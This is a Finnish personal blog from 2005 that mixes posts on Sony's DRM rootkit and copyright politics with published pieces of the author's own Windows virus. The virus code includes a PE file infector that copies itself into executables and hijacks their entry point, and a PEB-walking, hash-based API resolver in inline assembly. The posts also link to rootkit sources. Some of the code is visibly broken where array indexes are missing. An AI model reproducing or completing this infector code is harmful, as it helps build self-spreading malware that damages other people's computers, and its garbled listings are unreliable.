IRC-Galleria

Sonyn uninstalleri on takaovi!Sunnuntai 13.11.2005 07:28

Jaahas jaahas! Jos olet uninstalloinut sonyn rootkitin, koneellasi on takaovi jota voi ihan www-sivujen kautta hyväksikäyttää, esim vaikka koneesi boottaamiseen mitään sinulta kysymättä!

Lisää faktaa, ja demonstraatio:
http://hack.fi/~muzzy/sony-drm/

Päivän viruspläjäysSunnuntai 13.11.2005 05:11

Jäi nyt vähän myöhäiselle tälle viikolle, mutta parempi myöhään kuin ei milloinkaan.

Tälläkertaa esittelyssä on toinen saastuttajafunktioista. Aiemminhan tuli nähtyä funktio joka allokoi uuden sectionin (ja joka muuten sisältää kriittisen heikkouden ettei sitä voi käyttää oikeassa viruksessa, parempi etten korjaa). Tälläkertaa näytän funktion joka kopioi itse viruksen kohteeseen, eli tekee itse saastutus-osuuden:

#define ENTRYWRITE_MAGIC 0x434
#define VIRUSENTRY_MAGIC 0x2C0

inline void bar(char *base, unsigned int fsize)
{
unsigned int attacksize = 0x1000;
unsigned int virus;
__asm {
call blehbleh
blehbleh:
pop eax
mov virus, eax
}
virus = (virus/0x1000)*0x1000;
mmove(base+fsize, (char*)virus, attacksize);

pe::dos_header *dosh = reinterpret_cast<pe::dos_header*>(base);
pe::nt_header32 *peh = reinterpret_cast<pe::nt_header32*>(base+dosh->e_lfanew);

*(unsigned int*)(base+fsize+ENTRYWRITE_MAGIC) = peh->optional_header.image_base + peh->optional_header.address_of_entrypoint;

pe::section_header* sections = reinterpret_cast<pe::section_header*>
(base+dosh->e_lfanew+peh->file_header.size_of_optional_header + 20+4); // fileheader+signature = 20+4

pe::section_header *v = sections + peh->file_header.number_of_sections-1;

peh->optional_header.address_of_entrypoint = v->virtual_address+VIRUSENTRY_MAGIC;
}

Alussa oleva pätkä assembleria siis käyttää call/pop menetelmää EIP-rekisterin lukemiseksi, tämän jälkeen otetaan 0x1000:lla jaollinen osuus eli sama granulariteetti kuin aiemmassa section-allokaattorissa. Tällä pitäisi löytyä pohjaosoite virukseen, koska EIP osoittaa aina jonnekin tämän blokin sisälle. mmove() on simppeli memmove-klooni. Piti toteuttaa itse, kun memmove olisi generoinut MoveMemory apikutsun, ja oikeita funktiokutsuja ei tässä viruksessa voinut käyttää... Tässä nyt täydellisyyden vuoksi vielä se mmovekin:

inline void mmove(char*dest, char*src, unsigned int size)
{
if (dest>src)
for(;size;--size)
dest[size-1] = src[size-1];
else
for(unsigned int i=0;i<size;++i)
dest = src;
}

Ylemmässä bar()-funktiossa ei ole juurikaan sen erikoisempaa, definatut magic-arvot määrittävät missä kohtaa virusta on oikea entrypointti ja missä kohtaa on viruksen pääfunktion loppu, josta löytyy assypätkä:

__asm {
push 0x12345678
ret
}

Tätä käytetään alkuperäiseen entrypointtiin hyppäämiseen, jotta saastunut ohjelma saa ajovuon haltuunsa kun virus on tehnyt oman työnsä. Ensikerralla sitten ehkä saastuttajamekanismin pääfunktio.

Ja mainittakoon vielä että tätä tietotaitoa levitän, koska tekijänoikeus on antamassa kaikille taiteilijoille oikeuden suojata tekeleitään keinoja kaitamatta. Tarkoitus hyvittää keinot, joten olisi epäreilua jos pienet artistit eivät osaisi tehokkaita haittatekniikoita.

blogaamistoleranssiPerjantai 11.11.2005 13:51

Heräsin ja pohdin, mikä mahtaa olla raja asioille joista blogaa. Koska olen tätä kirjoittamassa, on raja ilmeisen matala. Hykertelen kun ajattelen, että kaikille kavereilleni tulee etusivulle ilmoitus blogistani. Oppivat varmaan hyvin pian dismissaamaan ne lukematta mitä sanottavaa minulla on (tai ei ole) :)

Miekkamiehen tie on vaikea ja vaivalloinenPerjantai 11.11.2005 04:28

Yritän metsästää hyttystä miekalla. Siihen on hyvin vaikea osua. Pieni koristeellinen kodachia jäljittelevä lelumiekkani ei leikkaa juuri mitään paitsi ehkä ilmaa, jos sitäkään. Joskus aiemmin taistelin tällä pöytätuuletintani vastaan, ja tuolloin tajusin että kaikkia taisteluja ei mitenkään vain voi voittaa. Tuuletin vain puhalsi ja puhalsi, mutten voinut leikata tuulta. Leikkasin ilmaa miten tahansa, se yhä vain puhalsi. Niin se vain on, että jotkin aseet ovat tehottomia joitain asioita vastaan.

Ja se hyttynen senkun väistelee miekkani sivallukset. Tilastollisesti katsoen siihen pitäisi ennenpitkää osua, viimeistään äärettömän määrän sivalluksia jälkeen. Ja sitten kun käyn purkamaan tätä kärsimystäni koneelle, tuo ninjahyttynen piiloutuu ja pyörii nyt jossain tietoisuuteni tavoittamattomissa. Oikea samurai ei olisi jättänyt taisteluaan kesken whinetäkseen päiväkirjalleen. Aina voi hävitä.

muzzy - hyttynen, 0-1

VäsyttääTorstai 10.11.2005 20:19

Näinä päivinä on tullut nukuttua paljon ja tehtyä vähän. Mistään ei tunnu tulevan mitään. Mistään ei tunnu olevan myöskään hyötyä, kun uusi maailmanjärjestys puskee päälle jossa rikkaat voivat ostaa köyhien ihmisoikeuksia.

Aiemmin päivällä pohdin mitä tässä olisi enää tehtävissä, että suunta muuttuisi. Tanja Karpela oli sitten joko tarkoituksella tai täyttä vihjeettömyyttään johtanut harhaan eduskuntaa lain käsittelyn aikana väittäessään että olisi "mustaa valkoisella" siitä mitä direktiivi tarkoittaa. Nyt sitten on selvinnyt että näin ei ollut, mitään tälläisiä asiakirjoja ei ollut olemassa, vain direktiivi ja sen esityöt. Lakia kun ajettiin läpi, annettiin kuva että mitään ei ole tehtävissä ja jos yrittää jotain niin siitä vain kärsii. Esitettiin, että EU tulee jakelemaan sakkoja mikäli direktiivin toteuttaa "väärin" tai viivästyttää sen toteuttamista. Puoluekuri piti huolen lopusta, missä oli demokratia kun tämä näytelmä näyteltiin?

Päädyin tulokseen, että tässä tarvittaisiin jotain radikaalia, järkyttävää, shokeeraavaa. Jos se että laki on ajettu läpi harhaanjohtamalla ja väärällä tiedolla ei ole järkyttävää, tai että laki olisi suojaamassa haittaohjelmia ja kuluttajien omaisuuden haltuunottoa monikansallisten teosten oikeudenomistajien taholta, mikä sitten? Ehkäpä poliittinen itsemurha-isku? Taitaa jäädä minun osaltani tekemättä, mutta onko tässä mitään lievemmän tasoista enää tehtävissä? Jos shokeeraa jollain rikollisella toiminnalla, jää viesti kuulematta ja painotutaan siihen rikollisuuteen. Sen pitäisi olla laillista ja koskettavaa. Koska tosiasiat eivät teknisestä luonteestaan johtuen kosketa kansaa ja addressit jätetään ottamatta vastaan (audienssia ei saatu masinointi.org:n addressille), mielenosoituksissa esitetään väärin mielenosoittajien näkemykset ("tahtovat musiikkia ilmaiseksi sananvapauden verukkeella"), ovat vaihtoehtot tosiaankin vähissä.

Mikä on hallintomuodon nimi, jossa päätöksiä tekevät isot monikansalliset yritykset?

Sonyn uninstalleriTorstai 10.11.2005 00:08

Tämä Sonyn rootkit nostaa verenpainetta taas kertaalleen, kun Mark blogasi näiden uninstallerista: http://www.sysinternals.com/blog/2005/11/sony-you-dont-reeeeaaaally-want-to_09.html

Tiivistettynä siis:
- Joudut useampaan kertaan sanomaan että haluat uninstalloida
- Jokainen uninstall-pyyntö menee Sonyn customer servicen kautta, kestää päivä käsitellä
- Uninstalleri on konekohtainen, sitä ei voi jakaa kaverille tai edes toiselle omalle koneelleen
- Uninstalleri on vaikea löytää Sonyn sivuilta
- Se lähettää sonylle jotain tietoa käyttämästäsi tietokoneesta
- Vaatii että asennat ylimääräisen ActiveX-komponentin, joka ilmeisesti jää aktiiviseksi järjestelmään DRM-roskan uninstallaamisen jälkeenkin
- Asiakkaan on vaikea tietää että mistä ongelmat edes johtuvat, kun ei tiedä joutuneensa tämän malwaren uhriksi

Verenpaine nousee. En saa analysoiduksi tätä roskaa lainkaan kun pistää vihaksi jatkuvasti. Olen epäuskon ja shokin vallassa aina tasaisin väliajoin kun uutta tietoa Sonyn käytöksestä tulee ilmi, tämä menee pitkälle yli peloistani sen suhteen mitä käy uuden tekijänoikeuslain voimaantullessa, eikä se ole vielä edes voimassa! Vuoden alusta näillä haittaohjelmilla on nimittäin implisiittisesti lain suojaama asema. Mikäli kerran suojausohjelmia ei saa kiertää, niin onhan se selvä että niitä saa silloin tehdä ja käyttää...

Olen sanonut sen moneen kertaan ja sanon uudestaan, uuden lain henki tuntuu olevan "Tarkoitus pyhittää keinot" -- pitäisi kai tehdä cd-levy joka varastaa käyttäjän nettipankista rahaa, ja piilottaa tämä tieto jotenkin käyttöehtoihin niin että käyttäjä hyväksyy sen että teos hoitaa itse käyttömaksujen suorittamisen. Ei pitäisi olla ongelma kenellekään?

PolitiikkaaKeskiviikko 09.11.2005 12:13

Kun minun asioistani päättävät minua tyhmemmät ihmiset, pitäisi melkein ruveta itse aktiiviseksi politiikassa. Sinänsä harmittavaa, ettei se homma muuten juuri kiinnosta, ja siinä on omat hämärät protokollansa miten asiat toimivat. Näitä pitäisi opetella jonkinverran ymmärtämään.

On nyt jäänyt kaikenlainen muu taustalle, olen unohtanut virus-lähdekoodienkin julkaisun täällä päiväkirjassa vaikka tarkoituksena oli julkaista kerran viikossa. No, katsotaan josko myöhemmin tänään tai huomenna tms.

Sonyn rootkitTorstai 03.11.2005 06:50

Sony sitten pisti levyynsä kopiosuojauksen jossa kovin kieroja piirteitä. Koittaa piilottaa olemassaoloaan rootkitillä, soittaa kotiin ja kertoo kun käyttäjä kuuntelee levyä, jne jne...

Sitten kun siitä nousi kohu, julkaisevat päivityksen joka poistaa tämän piilotus-ominaisuuden, muu paha toki pysyy. Sitä ei yhäkään saa helposti pois, ja suoraviivainen poisto rikkoo CD-aseman ajurit. Ja se ilmeisesti yhä kertoo sonymusicille kun soitat levyä.

Stopprot-lähdekooditTiistai 01.11.2005 17:58

Päätinpä sitten julkaista stopprot-rootkitin lähdekoodit.

Tässä olisi:
http://hack.fi/~muzzy/stopprot_sources_2005-11-01.zip

Lisää virus-sorsaaTiistai 01.11.2005 08:19

Kai se olisi sitten sen paikka, että julkaisen toisen pätkän viruksestani. Tälläkertaa julkaistava pätkä onkin sitten apuohjelma, jonka avulla viruskoodi voi selvittää funktio-osoitteita käyttöä varten. Koodi on karkeaa ja rumaa, ja tässä näkyy ainoa osa viruksesta jonka tein C++:n sijasta assemblerilla. Olisihan tämän jälkeenpäin ajatellen voinut tehdä suurimmaksi osaksi C++:llakin, mutta helpompaa se näin oli.

/* Hash Calculator */

#include <iostream>
#include <iomanip>

using namespace std;

char *calcme[] = {
"CreateFileA",
"GetFileSize",
"SetFilePointer",
"SetEndOfFile",
"CloseHandle",
"CreateFileMappingA",
"MapViewOfFile",
"FindFirstFileA",
"FindNextFileA",
"FindClose",
"VirtualAlloc",
"UnmapViewOfFile"
};

#define SIZEOF_CALCME 12

unsigned int calc_hash(char *s)
{
unsigned int retval = 0;
__asm {
mov esi, s
xor edi, edi
xor eax, eax
loophash:
ror edi, 7
lodsb
add edi, eax
test eax, eax
jnz loophash
mov retval, edi
}
return retval;
}

#include <windows.h>

int main()
{
unsigned int hashes[SIZEOF_CALCME];
unsigned int hashptrs = (unsigned int) &hashes;
HANDLE foo = LoadLibrary("kernel32.dll");
for(int i=0; i<SIZEOF_CALCME; ++i) {
cout << calcme << " = " << hex << calc_hash(calcme);
cout << " = @" << (unsigned int)(GetProcAddress((HMODULE)foo, calcme)) << endl;
hashes = calc_hash(calcme);
}
unsigned int kernel32 = 0;
unsigned int searchhash = 0;
unsigned int exports = 0;

__asm {
xor eax, eax
mov eax, fs:[0x30] // peb
test eax,eax
js w9x_getkernel
mov eax, [eax+0xC] // PROCESS_MODULE_INFO
mov esi, [eax+0x1C] // InInitOrder.flink
lodsd // InInitOrder.blink
mov eax, [eax+8] // eax = kernel32.dll base
jmp got_kernel
w9x_getkernel:
mov eax, [eax+0x34]
lea eax, [eax+0x7C]
mov eax, [eax+0x3C] // eax = kernel32
got_kernel:

//// get procs
mov kernel32, eax
mov ebx, eax
mov eax, [ebx+0x3C] // lfanew
mov eax, [ebx+eax+0x78] // exports
add eax, ebx // export table address
xor ecx, ecx
mov exports, eax
push ecx
mov eax, [eax+0x20]
add eax, ebx
mov edx, eax // edx = name pointers

lookuploop:
mov eax, hashptrs
mov eax, [eax+ecx*4]
mov searchhash, eax
xor eax, eax
xor ecx, ecx
scanloop:
inc ecx
mov esi, [edx+ecx*4]
add esi, kernel32 // one name pointer
xor edi, edi
loophash:
ror edi, 7
lodsb
add edi, eax
test eax, eax
jnz loophash
// hash in edi
cmp edi, searchhash
jnz scanloop

// entry found
mov eax, exports
mov ebx, [eax+0x24] // ordinals rna
add ebx, kernel32
mov cx, [ebx+ecx*2]
mov ebx, [eax+0x1c] // address rva
add ebx, kernel32
mov eax, [ebx+ecx*4]
add eax, kernel32 // function address in eax
pop ecx
mov ebx, hashptrs
mov [ebx+ecx*4], eax
inc ecx
cmp ecx, SIZEOF_CALCME
push ecx
jnz lookuploop
pop ecx
mov searchhash, eax
}
for(int i=0; i<SIZEOF_CALCME; ++i)
cout << "> " << hashes << endl;
}

Semmoista tälläkertaa. Koodi siis etsii kernel32:n moduulin muistista tulkiten Process Environment Blockin sisältämiä rakenteita. w9x-version tästä pummin 4x10m.com:n kavereilta, aiemmin man-shadowina tunnettu ryhmä joka oli kuuluisa esim netbios-madosta. Hashien käyttö merkkijonojen, ja täten funktioiden nimien tunnistamiseen on yleinen käytäntö, joskin toteutin oman hashaajan. Valmiita olisi löytynyt toki esim z0mbien julkaisemista virus-lähdekoodeista. Kirjoittamani koodi on kovin kankeaa, koska rakensin sen kovasti korkean tason tyyliin, alhaalta ylöspäin. Sitten kun piti tehdä looppi ympärille, oli helpointa vain spillata ecx pinoon.

Olisihan tästä saanut siistimmän jos olisi jaksanut kirjoittaa uusiksi, mutta himputtiako sitä säätämään kun homma kerran toimii. Tätä ei kuitenkaan kannata erityisemmin käyttää esimerkkikoodina, tämä ei ole siihen tarkoitukseen tehty eikä siihen kovin hyväkään. Mutta jos tästä nyt jollekulle on iloa niin hyvä niin. :)